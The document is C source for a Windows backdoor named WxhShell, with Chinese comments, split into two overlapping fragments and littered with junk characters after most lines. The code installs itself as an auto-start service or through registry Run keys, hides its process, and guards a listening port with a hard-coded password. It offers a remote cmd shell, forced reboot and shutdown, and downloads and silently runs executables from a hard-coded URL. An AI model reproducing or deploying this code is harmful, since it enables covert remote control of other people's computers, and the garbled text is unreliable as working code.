    ExitThread(0); )qyJw N .D  
    } +JDQ`Qk  
    break; X`,=tM  
    } A }(V2  
  // 关机 blUnAu o~  
  case 'd': { S-^:p5{r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Bf)}g4nYn  
    if(Boot(SHUTDOWN)) :TPT]q d@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H<Ne\zAv  
    else { q?&Ap*  
    closesocket(wsh); &oU) ,H  
    ExitThread(0); B^;G3+}  
    } XBvJc'(s  
    break; 8Uv2p{ <#  
    } @ )bCh(u  
  // 获取shell D90.z"N\i9  
  case 's': { ~2HlAU))<&  
    CmdShell(wsh);  BVJ6U[h`  
    closesocket(wsh); 5mtsN#  
    ExitThread(0); D7X8yv1  
    break; 1" k_l.\,0  
  } PG51+#  
  // 退出 #![9QUvcf  
  case 'x': { X-lB1uq^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e1Ne{zg~  
    CloseIt(wsh); rAv)k&l  
    break; PUU "k:{  
    } QsO%m  
  // 离开 \/wbk`2  
  case 'q': { sxP1. = W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vO?\u`vY  
    closesocket(wsh); }|KNw*h $  
    WSACleanup(); @zQ.d{  
    exit(1); d ynq)lf  
    break; 5{PT  
        } /i[1$/*  
  } b6]MJ0do  
  } r bfIH":  
o(gEyK  
  // 提示信息 .!oYIF*0zC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {E 'go]  
} hOOkf mOM  
  } \me'B {aa  
y;GwMi $KI  
  return; g,k} nkIT  
} rDD,eNjG  
tCF,KP?  
// shell模块句柄 w%3*T#tp  
int CmdShell(SOCKET sock) &E/0jxM1  
{ ],W/IDv  
STARTUPINFO si; 6T`F'Fk[  
ZeroMemory(&si,sizeof(si)); ?z[k.l+6w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s7789pR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *XCgl*% *  
PROCESS_INFORMATION ProcessInfo; WDF;`o*3  
char cmdline[]="cmd"; 8kRqF?rbj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {:%A  
  return 0; #Wf9`  
} j%q,]HCANh  
?=},%^  
// 自身启动模式 ii)DOq#2  
int StartFromService(void) [( O*W  
{ .Fl5b}C(  
typedef struct a,/wqX  
{ 'gaa@ !bg  
  DWORD ExitStatus; 3}F{a8iIm  
  DWORD PebBaseAddress; K(: _52rt  
  DWORD AffinityMask; ~d9@m#_T#~  
  DWORD BasePriority; b}-/~l-:  
  ULONG UniqueProcessId; r8wip\[  
  ULONG InheritedFromUniqueProcessId; # o;\5MOE%  
}   PROCESS_BASIC_INFORMATION; ([#4H3uO-  
p]]*H2UD  
PROCNTQSIP NtQueryInformationProcess; A8zh27[w%  
N E/_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; us,~<e0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |eu:qn8  
*a[iq`499  
  HANDLE             hProcess; 8q"C=t7  
  PROCESS_BASIC_INFORMATION pbi; (Qp53g  
(c\i.z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &OXWD]5$6  
  if(NULL == hInst ) return 0; G@(ukt`0}  
!A|ayYBb\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  %&81xAt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8 Buus  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M3EB=tU  
D=!T,p=  
  if (!NtQueryInformationProcess) return 0; D|gI3i  
g,O3\jjQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jTh^#Q  
  if(!hProcess) return 0; I;5:jT`  
C]f`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |'SgGg=E  
b]oPx8*'  
  CloseHandle(hProcess); r.vezsH  
* ak"}s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d^:(-2l-  
if(hProcess==NULL) return 0; T!ik"YZ@i  
a{y"vVQOF  
HMODULE hMod; gwQk M4  
char procName[255]; 4f-I,)qCBk  
unsigned long cbNeeded; O Bp&64  
*S?vw'n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); abczW[\  
RHj<t");  
  CloseHandle(hProcess); :dML+R#Ymh  
Eo@b)h  
if(strstr(procName,"services")) return 1; // 以服务启动 79y'PFSms  
uupfL>h  
  return 0; // 注册表启动 wQR0R~|M  
} rl0|)j  
N NTUl$  
// 主模块 5n#@,V.O/  
int StartWxhshell(LPSTR lpCmdLine) a'prlXr\4  
{ IS [&V&.n  
  SOCKET wsl; -+H?0XN  
BOOL val=TRUE; g-O}e4  
  int port=0; |\# 6?y[o  
  struct sockaddr_in door; -6yFE- X/  
D/<;9hw  
  if(wscfg.ws_autoins) Install(); 47 |&(,{  
eN Y?  
port=atoi(lpCmdLine); W>2m %q U  
AfqthI$*m  
if(port<=0) port=wscfg.ws_port; H]a@"gO  
=.9uuF:  
  WSADATA data; /)LI1\ o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r)/nx@x  
:dM eNM-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O~L/>Ya  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w`a(285s)i  
  door.sin_family = AF_INET; ZL^ svGy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "<^]d~a_  
  door.sin_port = htons(port); JQde I+  
okSCM#&:[2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jv5Os-  
closesocket(wsl); jC3)^E@:"  
return 1; 8r-'m%l  
} s<`54o ,  
nLjc.Z\Bl  
  if(listen(wsl,2) == INVALID_SOCKET) { .`5BgX7W  
closesocket(wsl); 4.o[:5'  
return 1; #CcWsI>+w>  
} o0`|r+E\  
  Wxhshell(wsl); k,M %"FLQ  
  WSACleanup(); |j> fsk~  
Xx;4  
return 0; !^*-]p/z  
U%zZw)  
} oH vVZ  
$9In\ x  
// 以NT服务方式启动 \Bg?QhA_D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  `xm4?6  
{  `GQ'yv  
DWORD   status = 0; Qf<@ :T*  
  DWORD   specificError = 0xfffffff; r-]HmY x  
[;*Vm0>t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4&a,7uVer  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gsD0N^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  aa10vV  
  serviceStatus.dwWin32ExitCode     = 0; j+-+<h/(  
  serviceStatus.dwServiceSpecificExitCode = 0; }3xZ`vX[T  
  serviceStatus.dwCheckPoint       = 0; %yJ $R2%*y  
  serviceStatus.dwWaitHint       = 0; 8Ug`2xS<_  
+i1\],7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s"g"wh',  
  if (hServiceStatusHandle==0) return; 0s+pcqOd^  
Zyx92z9Y  
status = GetLastError(); _WeN\F~^  
  if (status!=NO_ERROR) Rb=8(#  
{ hq[RU&\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cN] ]J  
    serviceStatus.dwCheckPoint       = 0; *]]C.t-cd  
    serviceStatus.dwWaitHint       = 0; du0]LiHV  
    serviceStatus.dwWin32ExitCode     = status; :Tu%0="ye  
    serviceStatus.dwServiceSpecificExitCode = specificError; :4'Fq;%C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I,0Z* rw  
    return; =m6yH_`@  
  } 1p]Z9$Y  
6~b]RZe7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cV+ x.)a.  
  serviceStatus.dwCheckPoint       = 0; u{>_Pb  
  serviceStatus.dwWaitHint       = 0; YnLwBJ2i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L^Q q[>  
} rh%-va9  
H.R7,'9  
// 处理NT服务事件,比如:启动、停止 2B<0|EGtzw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ' +*,|;?  
{  SK&?s`  
switch(fdwControl) H;(|&Asq>  
{ klqN9d9k  
case SERVICE_CONTROL_STOP: ~3F\7%Iqc  
  serviceStatus.dwWin32ExitCode = 0; }M+2 ,#l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !?%'Fy6t  
  serviceStatus.dwCheckPoint   = 0; MG6y  
  serviceStatus.dwWaitHint     = 0; x-3!sf@  
  { +CF"Bm8@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -'jPue2\  
  } :lGH31GG  
  return; 2-#:Y  
case SERVICE_CONTROL_PAUSE: <Z6tRf;B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Pu-/*Fx  
  break; Er]lObfQo  
case SERVICE_CONTROL_CONTINUE: {?zbrgQ<Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7=gv4arRwt  
  break; 'dFhZ08 u}  
case SERVICE_CONTROL_INTERROGATE: P O{1u%P  
  break; RX DPT  
}; fvUD'sx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C"=^ (HU  
} xU5+"t~  
*[MK{m  
// 标准应用程序主函数 !o k6*m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Gd08RW  
{ m=7Z8@sX},  
*w[\(d'T  
// 获取操作系统版本 J|D$  
OsIsNt=GetOsVer(); ZKT~\l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yavoGk  
5?()o}VjAO  
  // 从命令行安装 3-T}8VsiP  
  if(strpbrk(lpCmdLine,"iI")) Install(); [=xJh?*P  
on=I*?+R  
  // 下载执行文件 +#|):aF  
if(wscfg.ws_downexe) { <m|\#Jw_V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W18I"lHeh  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,& ^vc_}  
} xO<$xx  
|8s)kQ4$  
if(!OsIsNt) { 0/F/U=Z!  
// 如果时win9x,隐藏进程并且设置为注册表启动 sivd@7r\Fa  
HideProc(); `Rc7*2I)l  
StartWxhshell(lpCmdLine); d*A(L5;@  
} uv,_?x\'  
else mm5y'=#  
  if(StartFromService()) 3nJd0E  
  // 以服务方式启动 k'd(H5A   
  StartServiceCtrlDispatcher(DispatchTable); J^G#x}y  
else +-B`Fya  
  // 普通方式启动 nvdo|5  
  StartWxhshell(lpCmdLine); A,2dK}\>  
YsHZFF  
return 0; (DW[#2\.  
} ZSu0e%  
xq2 ,S  
ca!=D $  
XazKS4(  
=========================================== ?5oeyBA@  
Q.8)_w  
dK=<%)N  
# XD-a  
d5x>kO'[l  
Du3nK" -g  
" N2~q\BqA  
/W6r{Et  
#include <stdio.h> b(Ev:  
#include <string.h> F9|\(St &  
#include <windows.h> +[DL]e]@U  
#include <winsock2.h> bS9<LQ*  
#include <winsvc.h> 0K&\5xXM  
#include <urlmon.h> Viu+#J;l  
v .ftfL!  
#pragma comment (lib, "Ws2_32.lib") ,;2x.We  
#pragma comment (lib, "urlmon.lib") J"x M[c2  
x-e?94}^  
#define MAX_USER   100 // 最大客户端连接数 RQ1`k,R=  
#define BUF_SOCK   200 // sock buffer Z !qHL$  
#define KEY_BUFF   255 // 输入 buffer i'Oh^Y)E#  
j3W)5ZX  
#define REBOOT     0   // 重启 E!eBQ[@  
#define SHUTDOWN   1   // 关机 'kD~tpZ  
#jja#PF]7  
#define DEF_PORT   5000 // 监听端口 O-M4NKl]6  
~$zodrS9  
#define REG_LEN     16   // 注册表键长度 Uv-xP(X  
#define SVC_LEN     80   // NT服务名长度 osJ;"B36  
r`THOj\cM  
// 从dll定义API j|u6TG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3']yjj(gHr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _Vs\:tygs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \y-Lt!}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IkU:D"n7  
za ix_mR  
// wxhshell配置信息 r`Qzn" H  
struct WSCFG { `z=I}6){  
  int ws_port;         // 监听端口 ml|[x M8  
  char ws_passstr[REG_LEN]; // 口令 \?bp^BrI  
  int ws_autoins;       // 安装标记, 1=yes 0=no NY5?T0/[  
  char ws_regname[REG_LEN]; // 注册表键名 0#}@- e  
  char ws_svcname[REG_LEN]; // 服务名 _%)v9}D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %#.H FK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4DL;/Z:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T4\F=iw4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =Of!1TR(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *N0R3da  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1,p[4k~Ww  
S >PTD@  
}; Lmy ^/P%  
O MEPF2:  
// default Wxhshell configuration H-Uy~Ry*T  
struct WSCFG wscfg={DEF_PORT, WH.5vrY Z  
    "xuhuanlingzhe", M~/%V NX  
    1, 0Wf,SYx`s  
    "Wxhshell", EH'?wh|Yp  
    "Wxhshell", "e4hPY#  
            "WxhShell Service", %}U-g"I  
    "Wrsky Windows CmdShell Service", x}.Q9L  
    "Please Input Your Password: ", s^nwF>  
  1, GRanR'xG  
  "http://www.wrsky.com/wxhshell.exe", J^@0Ff;=5^  
  "Wxhshell.exe" EV:y}  
    }; U20G{%%  
$lj1924?^  
// 消息定义模块 u3 mTsq!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3f`+ -&|M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UGy~Ecv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vG'JMzAm  
char *msg_ws_ext="\n\rExit."; g+ik`q(ge  
char *msg_ws_end="\n\rQuit."; y[*Bw)F\N  
char *msg_ws_boot="\n\rReboot..."; !O=J8;oLk  
char *msg_ws_poff="\n\rShutdown..."; Wmp,,H  
char *msg_ws_down="\n\rSave to "; FDB^JH9d  
5Pis0fa  
char *msg_ws_err="\n\rErr!"; H1PW/AW  
char *msg_ws_ok="\n\rOK!"; Z6}B}5@y  
$Nr :YI  
char ExeFile[MAX_PATH]; {*8'bNJ  
int nUser = 0; ! K~PH  
HANDLE handles[MAX_USER]; "YlN_ U  
int OsIsNt; =OIx G}*  
7XE/bhe%S  
SERVICE_STATUS       serviceStatus; "}i\" x;s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8J:6uO c|  
':71;^zXf  
// 函数声明 "WTnC0<  
int Install(void); */Oq$3QGsV  
int Uninstall(void); vj I>TIy  
int DownloadFile(char *sURL, SOCKET wsh); w0x%7mg@  
int Boot(int flag); UW+|1Bj_:  
void HideProc(void); R qS2Qo]  
int GetOsVer(void); %@Nuzdp  
int Wxhshell(SOCKET wsl); fiSc\C~  
void TalkWithClient(void *cs); cvpcadN[  
int CmdShell(SOCKET sock); E3#}:6m  
int StartFromService(void); Y`QJcC(3  
int StartWxhshell(LPSTR lpCmdLine); Kc=&jCn  
tVUoUl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .y{qsL^P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fbKL31PI  
uj$b/I>.'  
// 数据结构和表定义 f1;Pzr  
SERVICE_TABLE_ENTRY DispatchTable[] = ,z1X{  
{ 8|A*N< h  
{wscfg.ws_svcname, NTServiceMain}, O2E6F^.pYw  
{NULL, NULL} 8CxC`*L(  
}; I U/HYBJH  
1(`>9t02/?  
// 自我安装 U:eahK  
int Install(void) ?d1H]f<M  
{ !GcH )  
  char svExeFile[MAX_PATH]; M0<gea\ =  
  HKEY key; iWu$$IV?-  
  strcpy(svExeFile,ExeFile); |1G/J[E  
o$>A;<  
// 如果是win9x系统,修改注册表设为自启动 " 1YARGu  
if(!OsIsNt) { tL1"Dt>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B*A{@)_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0+b1R}!2  
  RegCloseKey(key); C8%Io l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 83UIH0(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6R1){,8  
  RegCloseKey(key); N5 SK_+  
  return 0; le?hCPHkp  
    } k#T onT  
  } '{j.5~4y  
} z#*w Na&@[  
else { xtyzy@)QL  
( Kh<qAP_n  
// 如果是NT以上系统,安装为系统服务 PuAcsYQhN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'v&k5`Qq  
if (schSCManager!=0) ]sJWiIe.  
{ DG&14c>g  
  SC_HANDLE schService = CreateService >Liv].  
  ( -tWkN^j8+  
  schSCManager, oJy]n9  
  wscfg.ws_svcname, [^B04x@  
  wscfg.ws_svcdisp, I ;N)jj`b  
  SERVICE_ALL_ACCESS, ~qm<~T_0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7vRJQe)  
  SERVICE_AUTO_START, xt@zP)6G  
  SERVICE_ERROR_NORMAL, RQ# gn  
  svExeFile, 2~+_T  
  NULL, |?0Cm|?  
  NULL, A,rgN;5fb  
  NULL, 2-i>ymoOS  
  NULL, ]Kb  
  NULL 3!^5a %u  
  ); ?fDF Rms  
  if (schService!=0) |l(rR06#.]  
  { s8 .OL_e  
  CloseServiceHandle(schService); LbDhPG`u  
  CloseServiceHandle(schSCManager); 7nB@U$]-Sz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |D%i3@P&ZR  
  strcat(svExeFile,wscfg.ws_svcname); !.mMO_4}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .v G_\-@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~M%r.WFpA  
  RegCloseKey(key); ,2vPmff  
  return 0; stz1e dP  
    } ymSGB`CP  
  } A.m#wY8  
  CloseServiceHandle(schSCManager); VZ{aET!  
} J')Dt]/9  
} XX",&cp02V  
Wq8Uq}~_g  
return 1; t0p^0   
} <#JJS}TLk  
DoAK]zyJA  
// 自我卸载 e!b?SmNN  
int Uninstall(void) wxEFM)zr  
{ *yOpMxE  
  HKEY key; A@#9X'C$^  
O.CRF-` t  
if(!OsIsNt) { 2>0[^ .;"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j8 nG Gx  
  RegDeleteValue(key,wscfg.ws_regname); )nyud$9w'  
  RegCloseKey(key); $A)i}M;uK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %>}6>nT#  
  RegDeleteValue(key,wscfg.ws_regname); $}r*WZ  
  RegCloseKey(key); M%+l21&  
  return 0; {.O Bcx  
  } 9*2A}dH  
} .Y[sQO~%  
} x F7C1g(  
else { z-K?Ak B1  
(Y\aV+9[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !Gsr* F{.  
if (schSCManager!=0) ~aa`Y0Ws],  
{ I{AteL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \Rop~gD  
  if (schService!=0) o Hdss;q  
  { Ha9A5Ao}0  
  if(DeleteService(schService)!=0) { g nJe!E  
  CloseServiceHandle(schService); fQc2K|V  
  CloseServiceHandle(schSCManager); 4(Gs$QkSo|  
  return 0; " & 'Jw  
  } 'F^nW_ryW  
  CloseServiceHandle(schService); :ak D  
  } NJSzOL_  
  CloseServiceHandle(schSCManager); sF^3KJ|  
} 7$x~}*u  
} <@ D`16%&  
'm9f:iTr  
return 1; LGZ5py=xb  
} 6b4Kcl<i  
(nfra,'  
// 从指定url下载文件 \9dSI  
int DownloadFile(char *sURL, SOCKET wsh) +J3 0OT8  
{ Lc(D2=%  
  HRESULT hr; 0{g@j{Lbz  
char seps[]= "/"; |BhfW O8p  
char *token; f~-81ctu  
char *file; IO~d.Ra  
char myURL[MAX_PATH]; K <7#;  
char myFILE[MAX_PATH]; \]=qGMwFs  
ork/:y9*y  
strcpy(myURL,sURL); G=a.Wff  
  token=strtok(myURL,seps); 4Waot  
  while(token!=NULL) z.n`0`^  
  { %Uybp  
    file=token; gE%{#&*  
  token=strtok(NULL,seps); @@K@;Jox  
  } `X]TIMc:Ad  
aG;6^$H~  
GetCurrentDirectory(MAX_PATH,myFILE); |xy r6gY  
strcat(myFILE, "\\"); U;o[>{L   
strcat(myFILE, file); lob{{AB,!  
  send(wsh,myFILE,strlen(myFILE),0); qW[p .jN  
send(wsh,"...",3,0); ]C^D5(t/cd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q 1a}o%  
  if(hr==S_OK) #<|5<U  
return 0; I`w1IIY?m  
else !4d6wp"  
return 1; Yi1* o?  
PI~LbDE  
} pvM;2  
BFmYbK  
// 系统电源模块 zvB!=  
int Boot(int flag) tyFhp:ZB  
{ yaV=e1W  
  HANDLE hToken; dP[l$/  
  TOKEN_PRIVILEGES tkp; qG3 [5lti  
jXq~ x"(  
  if(OsIsNt) { MJ'|$b}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E;\XZ<E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ),%/T,!@  
    tkp.PrivilegeCount = 1; |E$Jt-'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5&q@;vR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {bnNY  
if(flag==REBOOT) { o.U$\9MNP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4} uX[~e&  
  return 0; #=/eu=  
} Y, K): ~T  
else { $by-?z((  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  ^! /7  
  return 0; l4u@0;6P  
} 6+"P$Ed#i  
  } -G&>b D  
  else { }LQ*vD-Jj  
if(flag==REBOOT) { Q >[*Y/`I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i>6SY83B}  
  return 0; rks+\e}^Z  
} Q#P=t83  
else { qR0V\OtgY~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -C.x;@!k  
  return 0; qp (ng 8%c  
} 0/P!rH9  
} iOz<n z  
\ &1)k/  
return 1; [z#C&gDt  
} vr5 6 f1  
JG&`l{c9  
// win9x进程隐藏模块 B%!z7AT  
void HideProc(void) Bmuf[-}QW  
{ d!/@+i  
3;=nQ{0b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :gv`)  
  if ( hKernel != NULL ) 0L10GJ"(  
  { 0-cqux2U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KpBh@S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8;9GM^L  
    FreeLibrary(hKernel); n's3!HQY[  
  } bsVms,&  
= aSHb[hO  
return; epa)ctS9  
} cC w,b]  
3N6U6.Tqb  
// 获取操作系统版本 7?j$Lwt  
int GetOsVer(void) ;hR!j!3}  
{ Y W_E,A>h  
  OSVERSIONINFO winfo; <$Q\vCR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4S|! iOY  
  GetVersionEx(&winfo); Ge$cV}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;AKtb S;H  
  return 1; ,}F2l|x_  
  else Gxfw!aF~  
  return 0; )k0e}  
} 2pFOC;tl  
 =Run  
// 客户端句柄模块 ;SkC[;`J  
int Wxhshell(SOCKET wsl) ~(Gv/x  
{ _`Ey),c_  
  SOCKET wsh; K6=-Zf  
  struct sockaddr_in client; Rt~Aud[  
  DWORD myID; NWPL18*C  
06*R)siC  
  while(nUser<MAX_USER) 2{c ;ELq  
{ +kTAOf M  
  int nSize=sizeof(client); ,pir,Eozg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .E!7}O6  
  if(wsh==INVALID_SOCKET) return 1; )a,-Hc:Vz  
jzV*V<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >U~.I2sz  
if(handles[nUser]==0) |o~<Ti6]  
  closesocket(wsh); "T5?<c  
else :/ns/~5xa:  
  nUser++; Ne*I$T 5  
  } r:K)Q@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vgOmcf%;  
%Bmi3 =Rr  
  return 0; :xZ/c\  
} ]3hz{zqV^  
I=&5mg=m  
// 关闭 socket >bxT_qEm  
void CloseIt(SOCKET wsh) _=B(jJZ   
{ ?@Z~i]gE[V  
closesocket(wsh); mH*42XC*  
nUser--; evsH>hE^  
ExitThread(0); C-]H+p  
} q]:+0~cz  
-_'M *-  
// 客户端请求句柄 pr>Qu:  
void TalkWithClient(void *cs) [,Ts;Hy6Q  
{ N%6jZmKip  
%*OKhrM  
  SOCKET wsh=(SOCKET)cs; E*IkI))X0  
  char pwd[SVC_LEN]; Vi`+2%4  
  char cmd[KEY_BUFF]; V S2p"0$3D  
char chr[1]; ,HS\(Z  
int i,j; 1YR;dn  
H? N!F7s  
  while (nUser < MAX_USER) { ]7zDdI|  
&q1(v3cOO  
if(wscfg.ws_passstr) { C.@R#a'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z;1tJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $=iz&{9  
  //ZeroMemory(pwd,KEY_BUFF); UV)[a%/SB&  
      i=0; #0`2wuo {  
  while(i<SVC_LEN) { 6k"Wy3/  
xXH%7%W'f  
  // 设置超时 Nt67Ye3;  
  fd_set FdRead; e.G&hJ r  
  struct timeval TimeOut; sr x`" :  
  FD_ZERO(&FdRead); k='sI^lF  
  FD_SET(wsh,&FdRead); {.SN  
  TimeOut.tv_sec=8; ! Qrlb>1z-  
  TimeOut.tv_usec=0; Svn|vH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zm2&\8J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #QZg{  
Eag->mw/~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B$g!4C `g  
  pwd=chr[0]; ~b5aT;ObR  
  if(chr[0]==0xd || chr[0]==0xa) { O<S*bN>BF  
  pwd=0; J5k \R+\H  
  break; L':;Vv~-  
  } eOy{]< l3  
  i++; KQ?E]}rZ  
    } ItQIM#  
e`4OlM]  
  // 如果是非法用户,关闭 socket kJy<vb~   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /YH Bhoat  
} :<gmgI  
.Xo, BEjE/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ywmx6q4MFL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^Ot+,l)  
7u,56V?X  
while(1) { 3nd02:GF  
{#uX   
  ZeroMemory(cmd,KEY_BUFF); 8~:qn@ Z|E  
f'Wc_ L)  
      // 自动支持客户端 telnet标准   sBS\S  
  j=0; T_6,o[b8  
  while(j<KEY_BUFF) { &of%;>$>M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T{]Tb=  
  cmd[j]=chr[0]; p}uL%:Vr  
  if(chr[0]==0xa || chr[0]==0xd) { 9+@_ZI-  
  cmd[j]=0; Y {Klwn   
  break; + }(  
  } z|}Anc[\  
  j++; eL^,-3JA(]  
    } x*i5g`jx  
=w".B[r  
  // 下载文件 ~Ht[kO  
  if(strstr(cmd,"http://")) { 8l>/ZZ.NXi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L GK0V!W  
  if(DownloadFile(cmd,wsh)) g Gg8O? Z  
